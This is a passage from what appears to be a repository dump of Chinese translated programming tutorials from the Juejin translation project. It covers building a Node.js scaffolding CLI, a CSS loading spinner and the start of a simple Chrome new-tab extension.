命令。在上述的例子中，我们为同一段脚本注册了两个命令。一个通过加上了我们的用户名来使用自己的 `npm` 作用域，另一个是为了方便使用的通用的 `create-project` 命令。\n\n做好了这些，我们可以测试脚本了。最简单的测试方法是使用 [`npm link`](https://docs.npmjs.com/cli/link.html) 命令。在你的项目终端中运行：\n\n```\nnpm link\n```\n\n这个命令将会全局地安装你当前项目的链接，所以当你更新代码的时候，也并不需要重新运行 `npm link` 命令。在运行 `npm link` 命令后，你的 CLI 命令应该已经可用了。试着运行：\n\n```\ncreate-project\n```\n\n你应该可以看到类似的输出：\n\n```js\n[ '/usr/local/Cellar/node/11.6.0/bin/node',\n  '/Users/dkundel/dev/create-project/bin/create-project' ]\n```\n\n注意，这两个地址依赖于你的项目地址和 Node.js 安装地址，并会随之变化而不同。并且这个数组会随着你增加参数而变长。试试运行：\n\n```\ncreate-project --yes\n```\n\n此时输出可以反映出添加了新的参数：\n\n```\n[ '/usr/local/Cellar/node/11.6.0/bin/node',\n  '/Users/dkundel/dev/create-project/bin/create-project',\n  '--yes' ]\n```\n\n## 参数解析与输入处理\n\n现在我们准备解析传入脚本的参数，并赋予其逻辑意义。我们的 CLI 支持一个参数及多个选项：\n\n* `[template]`：我们支持开箱即用的多模版。如果用户没有传入这个参数，我们将给出提示让用户选择\n* `--git`：它将会运行 `git init`，来实例化一个新的 git 项目\n* `--install`：它将会自动地为项目安装所有依赖\n* `--yes`：它将会跳过所有提示，直接使用默认选项\n\n对于我们的项目，将会使用 `inquirer` 来提示输入参数，并使用 `arg` 库来解析 CLI 参数。通过运行如下命令来安装依赖：\n\n```\nnpm install inquirer arg\n```\n\n首先我们来写解析参数的逻辑，解析过程将会把参数解析为一个 `options` 对象，供我们使用。将如下代码加入到 `cli.js` 中：\n\n```js\nimport arg from 'arg';\n\nfunction parseArgumentsIntoOptions(rawArgs) {\n const args = arg(\n   {\n     '--git': Boolean,\n     '--yes': Boolean,\n     '--install': Boolean,\n     '-g': '--git',\n     '-y': '--yes',\n     '-i': '--install',\n   },\n   {\n     argv: rawArgs.slice(2),\n   }\n );\n return {\n   skipPrompts: args['--yes'] || false,\n   git: args['--git'] || false,\n   template: args._[0],\n   runInstall: args['--install'] || false,\n };\n}\n\nexport function cli(args) {\n let options = parseArgumentsIntoOptions(args);\n console.log(options);\n}\n```\n\n运行 `create-project --yes`，你将能看到 `skipPrompt` 会变成 `true`，或者试着传递其他参数例如 `create-project cli`，那么 `template` 属性就会被设置。\n\n现在我们已经能解析 CLI 参数了，我们还需要添加方法来提示用户输入参数信息，以及当 `--yes` 标志被输入的时候，略过提示信息并使用默认参数。将如下代码加入 `cli.js` 文件：\n\n```js\nimport arg from 'arg';\nimport inquirer from 'inquirer';\n\nfunction parseArgumentsIntoOptions(rawArgs) {\n// ...\n}\n\nasync function promptForMissingOptions(options) {\n const defaultTemplate = 'JavaScript';\n if (options.skipPrompts) {\n   return {\n     ...options,\n     template: options.template || defaultTemplate,\n   };\n }\n\n const questions = [];\n if (!options.template) {\n   questions.push({\n     type: 'list',\n     name: 'template',\n     message: 'Please choose which project template to use',\n     choices: ['JavaScript', 'TypeScript'],\n     default: defaultTemplate,\n   });\n }\n\n if (!options.git) {\n   questions.push({\n     type: 'confirm',\n     name: 'git',\n     message: 'Initialize a git repository?',\n     default: false,\n   });\n }\n\n const answers = await inquirer.prompt(questions);\n return {\n   ...options,\n   template: options.template || answers.template,\n   git: options.git || answers.git,\n };\n}\n\nexport async function cli(args) {\n let options = parseArgumentsIntoOptions(args);\n options = await promptForMissingOptions(options);\n console.log(options);\n}\n```\n\n保存文件并运行 `create-project`，你将会看到这样的模版选择提示：\n\n![](https://s3.amazonaws.com/com.twilio.prod.twilio-docs/images/yfGSsiUKImPbvqn6_YlDO5TyLhCF9qT953-6KN4vStg5Wl.width-500.png)\n\n之后，你将会被询问是否要初始化 `git`。两个问题都作出先择后，你将看到打印出了这样的输出：\n\n```\n{ skipPrompts: false,\n  git: false,\n  template: 'JavaScript',\n  runInstall: false }\n```\n\n尝试运行 `create-project -y` 命令，此时所有的提示都会被忽略。你将会马上看到命令行输入的选项：\n\n![](https://s3.amazonaws.com/com.twilio.prod.twilio-docs/images/JhCdQpSDKZzTbIW7stxZScvwr5ak8IZzjvlyLtPihPovb-.width-500.png)\n\n## 编写代码逻辑\n\n现在我们已经可以通过提示信息以及命令行参数来决定对应的逻辑选项，下面我们来写能够创建项目的逻辑代码。我们的 CLI 将会和 `npm init` 命令类似，写入一个已经存在的目录，并会将所有在 `templates` 目录下的文件拷贝到项目中。我们也允许通过选项修改目标目录地址，这样你可以在其他项目中重用这段逻辑。\n\n在我们写逻辑代码之前，在项目根目录下创建一个名为 `templates` 的目录，并将目录 `typescript` 和 `javascript` 放在此目录下。它们的名字都是小写的版本，我们将会提示用户从中选择一个。在本篇文章中，我们就使用这两个名字，但其实你可以使用你任意喜欢的命名。在这个目录下，放入文件 `package.json` 并加入任意你需要的项目基础依赖，以及任意你需要拷贝到项目中的文件。之后我们的代码将会把这些文件全都拷贝到新的项目中。如果你需要一些创作灵感，你可以在 github.com/dkundel/create-project 查看我使用的文件。\n\n为了递归的拷贝所有的文件，我们将会使用一个名为 `ncp` 的库。这个库能够支持跨平台的递归拷贝，甚至有标识可以支持强制覆盖已有文件。另外，为了能够展示彩色输出，我们还将安装 `chalk`。运行如下代码来安装依赖：\n\n```\nnpm install ncp chalk\n```\n\n我们将会把项目核心的逻辑都放到 `src/` 目录下的 `main.js` 文件中。创建新文件并将如下代码加入：\n\n```js\nimport chalk from 'chalk';\nimport fs from 'fs';\nimport ncp from 'ncp';\nimport path from 'path';\nimport { promisify } from 'util';\n\nconst access = promisify(fs.access);\nconst copy = promisify(ncp);\n\nasync function copyTemplateFiles(options) {\n return copy(options.templateDirectory, options.targetDirectory, {\n   clobber: false,\n });\n}\n\nexport async function createProject(options) {\n options = {\n   ...options,\n   targetDirectory: options.targetDirectory || process.cwd(),\n };\n\n const currentFileUrl = import.meta.url;\n const templateDir = path.resolve(\n   new URL(currentFileUrl).pathname,\n   '../../templates',\n   options.template.toLowerCase()\n );\n options.templateDirectory = templateDir;\n\n try {\n   await access(templateDir, fs.constants.R_OK);\n } catch (err) {\n   console.error('%s Invalid template name', chalk.red.bold('ERROR'));\n   process.exit(1);\n }\n\n console.log('Copy project files');\n await copyTemplateFiles(options);\n\n console.log('%s Project ready', chalk.green.bold('DONE'));\n return true;\n}\n```\n\n这段代码会导出一个名为 `createProject` 的新函数，这个函数会首先检查指定的模版是否是可用的，检查的方法是使用 [`fs.access`](https://nodejs.org/api/fs.html#fs_fs_access_path_mode_callback) 来检查文件的可读性（`fs.constants.R_OK`），然后使用 `ncp` 将文件拷贝到指定的目录下。另外，在拷贝成功后，我们还要输出一些带颜色的日志，内容为 `DONE Project ready`。\n\n之后，更新 `cli.js`，加入对新函数 `createProject` 的调用：\n\n```js\nimport arg from 'arg';\nimport inquirer from 'inquirer';\nimport { createProject } from './main';\n\nfunction parseArgumentsIntoOptions(rawArgs) {\n// ...\n}\n\nasync function promptForMissingOptions(options) {\n// ...\n}\n\nexport async function cli(args) {\n let options = parseArgumentsIntoOptions(args);\n options = await promptForMissingOptions(options);\n await createProject(options);\n}\n```\n\n为了测试我们的进度，在你的系统中某个位置例如 `~/test-dir` 中创建一个新目录，然后在这个文件夹内使用某个模版运行命令。比如：\n\n```\ncreate-project typescript --git\n```\n\n你应该能看到一个通知，表明项目已经被创建，并且文件已经被拷贝到了这个目录下。\n\n![](https://s3.amazonaws.com/com.twilio.prod.twilio-docs/images/hJhXfoE6BvWWHNFzomCs4YD5D4fLUWQqHmR-am2wzAGszS.width-500.png)\n\n现在还有另外两步需要做。我们希望可配置的初始化 `git` 并安装依赖。为了完成这个，我们需要另外三个依赖：\n\n* [`execa`](http://npm.im/execa) 用于让我们能在代码中很便捷的运行像 `git` 这样的外部命令\n* [`pkg-install`](http://npm.im/pkg-install) 用于基于用户使用什么而触发命令 `yarn install` 或 `npm install`\n* [`listr`](http://npm.im/listr) 让我们能指定任务列表，并给用户一个整齐的进程概览\n\n通过运行如下命令来安装依赖：\n\n```\nnpm install execa pkg-install listr\n```\n\n之后更新 `main.js`，加入如下代码：\n\n```js\nimport chalk from 'chalk';\nimport fs from 'fs';\nimport ncp from 'ncp';\nimport path from 'path';\nimport { promisify } from 'util';\nimport execa from 'execa';\nimport Listr from 'listr';\nimport { projectInstall } from 'pkg-install';\n\nconst access = promisify(fs.access);\nconst copy = promisify(ncp);\n\nasync function copyTemplateFiles(options) {\n return copy(options.templateDirectory, options.targetDirectory, {\n   clobber: false,\n });\n}\n\nasync function initGit(options) {\n const result = await execa('git', ['init'], {\n   cwd: options.targetDirectory,\n });\n if (result.failed) {\n   return Promise.reject(new Error('Failed to initialize git'));\n }\n return;\n}\n\nexport async function createProject(options) {\n options = {\n   ...options,\n   targetDirectory: options.targetDirectory || process.cwd()\n };\n\n const templateDir = path.resolve(\n   new URL(import.meta.url).pathname,\n   '../../templates',\n   options.template\n );\n options.templateDirectory = templateDir;\n\n try {\n   await access(templateDir, fs.constants.R_OK);\n } catch (err) {\n   console.error('%s Invalid template name', chalk.red.bold('ERROR'));\n   process.exit(1);\n }\n\n const tasks = new Listr([\n   {\n     title: 'Copy project files',\n     task: () => copyTemplateFiles(options),\n   },\n   {\n     title: 'Initialize git',\n     task: () => initGit(options),\n     enabled: () => options.git,\n   },\n   {\n     title: 'Install dependencies',\n     task: () =>\n       projectInstall({\n         cwd: options.targetDirectory,\n       }),\n     skip: () =>\n       !options.runInstall\n         ? 'Pass --install to automatically install dependencies'\n         : undefined,\n   },\n ]);\n\n await tasks.run();\n console.log('%s Project ready', chalk.green.bold('DONE'));\n return true;\n}\n```\n\n这段代码将会在传入 `--git` 或者用户在提示中选择了 `git` 的时候运行 `git init`，并且会在传入 `--install` 的时候运行 `npm install` 或者 `yarn`，否则它将会跳过这两个任务，并用一段消息通知用户如果他们想要自动安装，请传入 `--install`。\n\n首先删除掉已经存在的测试文件夹然后创建一个新的，然后试一下效果如何。运行命令：\n\n```\ncreate-project typescript --git --install\n```\n\n在你的文件夹中，你应该能看到 `.git` 文件夹和 `node_modules` 文件夹，表示 `git` 已经被初始化，以及 `package.json` 中指定的依赖已经被安装了。\n\n![](https://s3.amazonaws.com/com.twilio.prod.twilio-docs/images/_vaH2-wgo0HxH7o6NVcQwlb-h7MihVzFVO_6MsTcw71qB8.width-500.png)\n\n恭喜你，你的第一个 CLI 已经整装待发了！\n\n![](https://s3.amazonaws.com/com.twilio.prod.twilio-docs/original_images/Hlw2ROeuFERjiDODTmaGu6z7YtmcGN0yTWiPeRLRRr6EENm7HJ8s3laAGZGdd54NefTAJPut5nZCDe)\n\n如果你希望你的代码能作为实际的模块使用，这样其他人可以在他们的代码中复用你的逻辑，你还需要在目录 `src/` 下添加文件 `index.js`，这个文件暴露出了 `main.js` 的内容：\n\n```js\nrequire = require('esm')(module);\nrequire('../src/cli').cli(process.argv);\n```\n\n## 接下来做什么？\n\n现在你的 CLI 代码已经准备好，你可以由此为基础，向更多的方向发展。如果你仅仅想自己使用，而不想和其他人分享，那么你就需要继续沿用 `npm link` 即可。事实上，运行 `npm init project` 试试看，你的代码也将被触发。\n\n如果你想要和其他人分享你的代码模版，你可以将代码推送到 GitHub 来供参阅，或者更好的方法是，使用 [`npm publish`](https://docs.npmjs.com/cli/publish) 将它作为一个包推送到 `npm` 注册处。在你发布之前，你还需要确保在 `package.json` 文件中添加一个 `files` 属性，来指明那些文件应该被发布：\n\n```js\n },\n \"files\": [\n   \"bin/\",\n   \"src/\",\n   \"templates/\"\n ]\n}\n```\n\n如果你想要检查那个文件将会被发布，运行 `npm pack --dry-run` 然后查看输出。之后使用 `npm publish` 来发布你的 CLI。你可以在 [`@dkundel/create-project`](http://npm.im/@dkundel/create-project) 找到我的项目，或者试试看运行 `npm init @dkundel/project`。\n\n还有很多的功能你可以加入进来。在我的项目中，我还添加了一些依赖，用于为我创建 `LICENSE`、`CODE_OF_CONDUCT.md` 和 `.gitignore`。你可以[在 GitHub 找到实现这些功能的源代码](http://github.com/dkundel/create-project)，或着查看上面提到的仓库来扩充附加功能。如果你发现某个你觉得应该被列出在文章中而我并没有列出的库，或者想要给我看你的 CLI，尽管发送消息给我！\n\n* Email：[dkundel@twilio.com](mailto:dkundel@twilio.com)\n* Twitter：[@dkundel](https://twitter.com/dkundel?lang=en)\n* GitHub：[dkundel](https://github.com/dkundel)\n* [dkundel.com](https://dkundel.com/)\n\n使用 JavaScript 还可以构建更多：\n\n* [Changelog: Twilio Chat JavaScript SDK](https://www.twilio.com/docs/chat/javascript/changelog)\n* [Sync SDK for JavaScript](https://www.twilio.com/docs/sync/javascript-sdk-changelog)\n* [How to Build a Real Time MMS Photostream with Twilio and Socket.IO](https://www.twilio.com/blog/2014/11/how-to-build-a-real-time-mms-photostream-with-twilio-and-socket-io.html)\n* [Implementing Chat in JavaScript, Node.js and React Apps](https://www.twilio.com/blog/2017/10/implement-chat-javascript-nodejs-react-apps.html)\n* [How to play music over phone calls with Twilio Voice and JavaScript](https://www.twilio.com/blog/2015/08/playing-tunes-over-the-phone-with-the-twilio-nodejs-library-in-es6.html)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-to-build-a-delightful-loading-screen-in-5-minutes.md",
    "content": "> * 原文地址：[How to Build a Delightful Loading Screen in 5 Minutes](https://medium.freecodecamp.org/how-to-build-a-delightful-loading-screen-in-5-minutes-847991da509f)\n> * 原文作者：[Ohans Emmanuel](https://medium.freecodecamp.org/@ohansemmanuel?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-build-a-delightful-loading-screen-in-5-minutes.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-build-a-delightful-loading-screen-in-5-minutes.md)\n> * 译者：[whuzxq](https://github.com/whuzxq)\n> * 校对者：[luochen1992](https://github.com/luochen1992)、[ALVINYEH](https://github.com/ALVINYEH)\n\n# 如何在 5 分钟之内写出一个不错的 loading 界面\n\n首先，让我们先看一下效果图。\n\n![](https://cdn-images-1.medium.com/max/800/1*AF1rXY_iumutiVOMSXf_LQ.gif)\n\n这就是我们将要实现的 [DEMO](https://codepen.io/ohansemmanuel/pen/ZxOjGx)。\n\n是不是觉得看起来很眼熟？\n\n如果眼熟的话，那你可能在 [Slack](https://slack.com) 上见过它！\n\n让我们只使用 css 和 html，来实现一下这个 loading 页面吧！\n\n如果你想小试身手，可以在 [Codepen](http://codepen.io) 上创建一个 pen，编写教程代码。\n\n现在，让我们开始吧！\n\n#### 1. 添加 class 作为标记\n\nhtml 部分很简单，如下面代码所示：\n\n```\n<section class=\"loading\">\n\nFor new sidebar colors, click your workspace name, then     Preferences > Sidebar > Theme\n\n<span class=\"loading__author\"> - Your friends at Slack</span>\n    <span class=\"loading__anim\"></span>\n\n</section>\n```\n\n是不是很简单？\n\n如果你不清楚为什么类名中出现了破折号，我在 [这篇文章](https://medium.freecodecamp.org/css-naming-conventions-that-will-save-you-hours-of-debugging-35cea737d849) 中解释了背后的原因。\n\n现在我们有一些文本，以及一个类名为 `loading_anim` 的 span 标签。\n\n效果图如下：\n\n![](https://cdn-images-1.medium.com/max/800/1*RpS6k11QbgHRIuAvy1Hw5Q.png)\n\n还不赖，对吧？\n\n#### 2. 将内容居中\n\n现在的效果并不理想，下一步我们将 class 为 `.loading` 的 session 标签在页面上居中。\n```\nbody {\n  display: flex;\n  justify-content: center;\n  align-items: center;\n  min-height: 100vh;\n}\n```\n\n![](https://cdn-images-1.medium.com/max/800/1*MPjfL4fwZlLkoja4cNg-Zg.png)\n\n现在居中了！\n\n有没有看起来好一点？\n\n#### 3. 设置加载文本的样式\n\n现在，让我们设置 class 为 `.loading` 的文本样式，使其看上去更棒。\n\n```\n.loading {\n  max-width: 50%;\n  line-height: 1.4;\n  font-size: 1.2rem;\n  font-weight: bold;\n  text-align: center;\n}\n```\n\n![](https://cdn-images-1.medium.com/max/800/1*wmMG_h5lJURLsYEZLv8ltw.png)\n\n#### 4. 设置下方 `.loading_author` 的样式\n\n```\n.loading__author {\n  font-weight: normal;\n  font-size: 0.9rem;\n  color: rgba(189,189,189 ,1);\n  margin: 0.6rem 0 2rem 0;\n  display: block;\n}\n```\n\n看看效果！\n\n![](https://cdn-images-1.medium.com/max/800/1*uok3Fg7Kqd8ASbONmK1RSA.png)\n\n#### 5. 创建 loading 动画\n\n终于到了备受期待的一步。这是最长的一个步骤，在此之前我会花一些时间确保你了解它的工作原理。\n\n如果您遇到困难，请发表评论，我很乐意提供帮助。\n\n再回顾一遍 loading 的效果。\n\n![](https://cdn-images-1.medium.com/max/800/1*AF1rXY_iumutiVOMSXf_LQ.gif)\n\n我们可以看到 loading 圆环一半是蓝色，另一半是灰色的。默认情况下，`HTML` 元素不会被切分。所有HTML元素可以看作*盒子*。第一个真正的挑战是如何使 class 为 `.loading__anim` 的元素包含两种边框颜色。\n\n如果你现在还没有太明白，不要担心。后面会继续进行讲解。\n\n首先，让我们先定义 loading 的大小。\n\n```\n.loading__anim {\n  width: 35px;\n  height: 35px;\n }\n```\n\n现在，loading 组件与文本位于同一行，这是因为 `span` 标签是 html 中的内联元素。 \n\n我们现在修改样式，使其在另一行展示。\n\n```\n.loading__anim {\n   width: 35px;\n   height: 35px;\n   display: inline-block;\n  }\n```\n\n最后，让我们为其设置 border 属性。\n\n```\n.loading__anim {\n   width: 35px;\n   height: 35px;\n   display: inline-block;\n   border: 5px solid rgba(189,189,189 ,0.25);\n  }\n```\n\n在元素周围会形成宽度为 5px 的灰色边框。\n\n下方为效果图。\n\n![](https://cdn-images-1.medium.com/max/800/1*6IaPRnPBuODTJT6mm9dNFw.png)\n\n显示出一个灰色的边框。\n\n让我们继续完善它。\n\n一个元素有四条边，`top`、`bottom`、`left` 和 `right`。\n\n我们之前设置的 `border` 对四个边都实现了相同的渲染。\n\n我们现在需要对 loading 组件的边框设置不同的颜色。\n\n无论你选择哪条边都可以，在下方代码中以 `top` 和 `left` 举例演示。\n\n```\n.loading__anim {\n  width: 35px;\n  height: 35px;\n  display: inline-block;\n  border: 5px solid rgba(189,189,189 ,0.25);\n  border-left-color: rgba(3,155,229 ,1);\n  border-top-color: rgba(3,155,229 ,1);\n  }\n```\n\n现在，`left` 和 `top` 边界将呈现蓝色。效果图如下：\n\n![](https://cdn-images-1.medium.com/max/800/1*bq8bUGVNglafbnDDj_beFw.png)\n\n看起来还可以。\n\n我们马上要成功了！\n\n这个 loading 组件是圆的，而不是方的。让我们通过给 `.loader__anim` 组件设置 `border-radius` 属性为 `50%`，来改变它的形状。\n\n效果图如下：\n\n![](https://cdn-images-1.medium.com/max/800/1*Krr3W7AwgW3ZThim62VZtg.png)\n\n不是很差，是吧？\n\n最后一步是制作动画。\n\n```\n@keyframes rotate {\n to {\n  transform: rotate(1turn)\n }\n}\n```\n\n希望您对 [CSS 动画](https://www.w3schools.com/css/css3_animations.asp) 有所了解。`1 turn` 等于 `360 deg`，表示完整的转了一个 360 度的圈。\n\n并按如下方式使用：\n\n```\nanimation: rotate 600ms infinite linear;\n```\n\n哟！我们做到了！\n\n请看最终效果图。\n\n![](https://cdn-images-1.medium.com/max/800/1*DQFXH8zH4RpOFOqOb4DbMg.gif)\n\nlo hicimos! (西班牙语)\n\n是不是很酷？\n\n如果有任何步骤使您困惑，请发表评论，我很乐意提供帮助。\n\n### 想要进阶学习？\n\n我已经创建了一个免费的 CSS 指南，以便您能立刻掌握 CSS 技能。[获取电子书](http://eepurl.com/dgDVRb)。\n\n![](https://cdn-images-1.medium.com/max/800/1*fJabzNuhWcJVUXa3O5OlSQ.png)\n\n你不知道的七个 css 秘密。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-to-build-a-simple-chrome-extension-in-vanilla-javascript.md",
    "content": "> * 原文地址：[How to Build a Simple Chrome Extension in Vanilla JavaScript](https://medium.com/javascript-in-plain-english/https-medium-com-javascript-in-plain-english-how-to-build-a-simple-chrome-extension-in-vanilla-javascript-e52b2994aeeb)\n> * 原文作者：[Sara Wegman](https://medium.com/@sarawegman?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-build-a-simple-chrome-extension-in-vanilla-javascript.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-build-a-simple-chrome-extension-in-vanilla-javascript.md)\n> * 译者：[Shery](https://github.com/shery)\n> * 校对者：[Park-ma](https://github.com/Park-ma) [CoderMing](https://github.com/CoderMing)\n\n# 如何使用原生 JavaScript 构建简单的 Chrome 扩展程序\n\n今天，我将向你展示如何使用原生 JavaScript 开发 Chrome 扩展程序 —— 也就是说，不使用诸如 React、Angular、Vue 之类框架的纯 JavaScript。\n\n开发 Chrome 扩展程序非常简单 —— 在我开始编程生涯的头一年，我发布了两个扩展程序，这两个扩展程序都只用了 HTML、CSS 和纯 JavaScript 进行开发。在本文中，我将在几分钟内引导你完成相同的操作。\n\n我将向你展示怎样开发简单的 dashboard 类型的 Chrome 扩展程序。但是，如果你有自己的想法，并且只想知道需要往现有项目中添加什么内容就可以让它在 Chrome 中运行，你可以跳转到自定义 `manifest.json` 文件和图标的部分。\n\n![](https://cdn-images-1.medium.com/max/2000/1*BOYvlX903vKaY8TI2JJFQA.png)\n\n### 关于 Chrome 扩展程序\n\nChrome 扩展程序本质上只是一组可以自定义 Google Chrome 浏览器体验的文件。Chrome 扩展程序有几种不同的类型；有些在满足某个特定条件时激活，例如当你来到商店的结账页面时；有些只在你点击图标时弹出；还有些每次打开新标签时都会出现。今年我发布的两个扩展程序都是“新标签”类型的；第一个是 [Compliment Dash](http://bit.ly/complimentdash)，这是一个用于保存待办事项列表并赞美用户的 dashboard，第二个是 [Liturgical.li](http://liturgical.li/)，一款针对牧师的工具。如果你知道如何开发简单的网页，那么你就可以毫不费力地开发这类扩展程序。\n\n### 前提\n\n我们要把事情简单化，因此在本教程中，我们将只使用 HTML、CSS 和一些基础的 JavaScript，以及如何自定义我将在下面添加的 `manifest.json` 文件。Chrome 扩展程序的复杂程度各不相同，因此构建 Chrome 扩展程序的复杂度取决于你想开发什么样的应用。在学习了基础知识之后，你可以使用自己的技术栈开发更复杂的扩展程序。\n\n### 创建你的项目文件\n\n在本教程中，我们将开发一个通过名字来欢迎用户的简单 dashboard。让我们称之为 Simple Greeting Dashboard。\n\n首先，你需要创建三个文件：`index.html`、`main.css` 和 `main.js`。把它们放在单独的文件夹中。接下来，使用基础的 HTML 代码填充 HTML 文件，并引用 CSS 和 JS 文件：\n\n```\n<!-- =================================\nSimple Greeting Dashboard\n================================= //-->\n\n<!DOCTYPE html>\n<html>\n<head>\n  <meta charset=\"utf-8\" />\n  <title>Simple Greeting Dashboard</title>\n  <link rel=\"stylesheet\" type=\"text/css\" media=\"screen\" href=\"main.css\" />\n</head>\n<body>\n   <!-- 将在这里添加业务代码 -->\n   <script src=\"main.js\"></script>\n</body>\n</html>\n```\n\n### 自定义你的 manifest.json 文件\n\n这些文件还不足以让你的项目作为 Chrome 扩展程序运行。为此，我们需要一个 `manifest.json` 文件，我们将使用一些基本的扩展程序信息进行自定义。你可以在 [Google 的开发人员网站](https://developer.chrome.com/extensions/getstarted)上下载该文件，也可以直接将以下代码复制/粘贴到新文件中，并且以 `manifest.json` 的文件名保存在你的文件夹中：\n\n```\n{\n  \"name\": \"Getting Started Example\",\n  \"version\": \"1.0\",\n  \"description\": \"Build an Extension!\",\n  \"manifest_version\": 2\n}\n```\n\n现在，让我们使用更多的扩展程序信息来更新示例文件。我们只想更改这段代码的前三个值：`name`、`version` 和 `description`。让我们来填写扩展程序名字和一行描述，因为这是我们的第一个版本，让我们保持版本值为 1.0。`manifest_version` 编号应该保持不变。\n\n接下来，我们将添加几行代码来告诉 Chrome 如何处理这个扩展程序。\n\n```\n{\n  \"name\": \"Simple Greeting Dashboard\",\n  \n  \"version\": \"1.0\",\n  \n  \"description\": \"This Chrome extension greets the user each time they open a new tab\",\n  \n  \"manifest_version\": 2\n  \"incognito\": \"split\",\n  \n  \"chrome_url_overrides\": {\n    \"newtab\": \"index.html\"\n  },\n  \n  \"permissions\": [\n     \"activeTab\"\n   ],\n\"icons\": {\n    \"128\": \"icon.png\"\n    }\n}\n```\n\n`\"incognito\": \"split\"` 字段会告知 Chrome 在处于隐身模式时如何处理这个扩展程序。当浏览器处于隐身模式时，`\"split\"` 将允许扩展程序在其自己的进程中运行；有关其他选项，请参阅 [Chrome 开发者文档](https://developer.chrome.com/extensions/manifest/incognito)。\n\n正如你可能看到的那样，`\"chrome_url_overrides\"` 告诉 Chrome 每次打开新标签时都会打开 `index.html`。`\"permissions\"` 的值会在用户试图安装这个扩展程序时，向用户提供一个弹框提示，让他们知道这个扩展程序将覆盖他们的新标签。\n\n最后，我们告诉 Chrome 要显示什么作为我们的图标：一个名为 `icon.png` 的文件，尺寸为 128 x 128 像素。\n\n### 创建一个图标\n\n由于我们还没有图标文件，接下来，我们将为 Simple Greeting Dash 创建一个图标。请随意使用我下面制作的那个图标。如果你想自己制作一个，可以使用 Photoshop 或者 [Canva](http://canva.com) 这样的免费服务轻松完成。请确保尺寸为 128 x 128 像素，并将其作为 `icon.png` 保存在与 HTML、CSS、JS 和 JSON 文件相同的文件夹中。\n\n![](https://cdn-images-1.medium.com/max/800/1*-dBIaX8IyG0PfHK-2vZ2dA.png)\n\n我为 Simple Greeting Dash 制作的 128 x 128 图标 \n\n### 上传文件（如果你正在开发自己的页面）\n\n通过以上信息，你可以创建你自己的新标签 Chrome 扩展程序。在自定义 `manifest.json` 文件后，你可以通过 HTML、CSS 和 JavaScript 设计你想要的任意类型的新标签页，并像下面展示的那样将其上传。但是，如果你想了解我将如何制作这个简单的 dashboard，请跳转至“创建设置菜单”。\n\n一旦你完成新标签页的样式设置后，你的 Chrome 扩展程序就算完成了，并准备好了上传到 Chrome。要自己上传已经完成的扩展程序，请在浏览器中访问 [**chrome://extensions/**](about:invalid#zSoyz) 并切换右上角的开发者模式。\n\n![](https://cdn-images-1.medium.com/max/800/1*O2j2WS2RAPYE_NiOWqyWCw.png)\n\n刷新页面并点击“加载已解压的扩展程序”。\n\n![](https://cdn-images-1.medium.com/max/800/1*gb0c8qmG_MtinG9tOmjxuA.png)\n\n接下来，选择存储 HTML、CSS、JS 和 `manifest.json`，以及你的 `icon.png` 文件的文件夹，并上传这些文件。扩展程序应该在每次打开新的标签页时都生效！\n\n一旦你完成扩展程序开发并自行测试后，你可以获取一个开发者帐户并将其转到 Chrome 扩展程序商店。[这个有关发布扩展程序的指南](https://developer.chrome.com/webstore/publish)应该有所帮助。\n\n如果你现在没有创建自己的扩展程序，只想查看 Chrome 扩展程序的功能，请继续阅读，了解如何制作一个非常简单的问候语 dashboard。\n\n### 创建设置菜单\n\n对于我的扩展程序，我要做的第一件事情是创建一个让我的用户可以添加他们的名字的输入框。由于我不希望这个输入框始终可见，我将把它放在一个名为 `settings` 的 div 中，只有在点击 Settings 按钮后我才会让它可见。\n\n```\n<button id=\"settings-button\">Settings</button>\n<div class=\"settings\" id=\"settings\">\n   <form class=\"name-form\" id=\"name-form\" action=\"#\">\n      <input class=\"name-input\" type=\"text\"\n        id=\"name-input\" placeholder=\"Type your name here...\">\n      <button type=\"submit\" class=\"name-button\">Add</button>\n   </form>\n</div>\n```\n\n现在，我们的设置菜单如下所示：\n\n![](https://cdn-images-1.medium.com/max/800/1*YXSHj-nYAotrbMCAulpJ0Q.png)\n\n太美了！\n\n... 所以我要在 CSS 文件中给他们添加一些基本的样式。我将给按钮和输入框添加一些内边距和轮廓（outline），然后在 settings 按钮和表单之间添加一些空间。\n\n```\n.settings {\n   display: flex;\n   flex-direction: row;\n   align-content: center;\n}\n\ninput {\n   padding: 5px;\n   font-size: 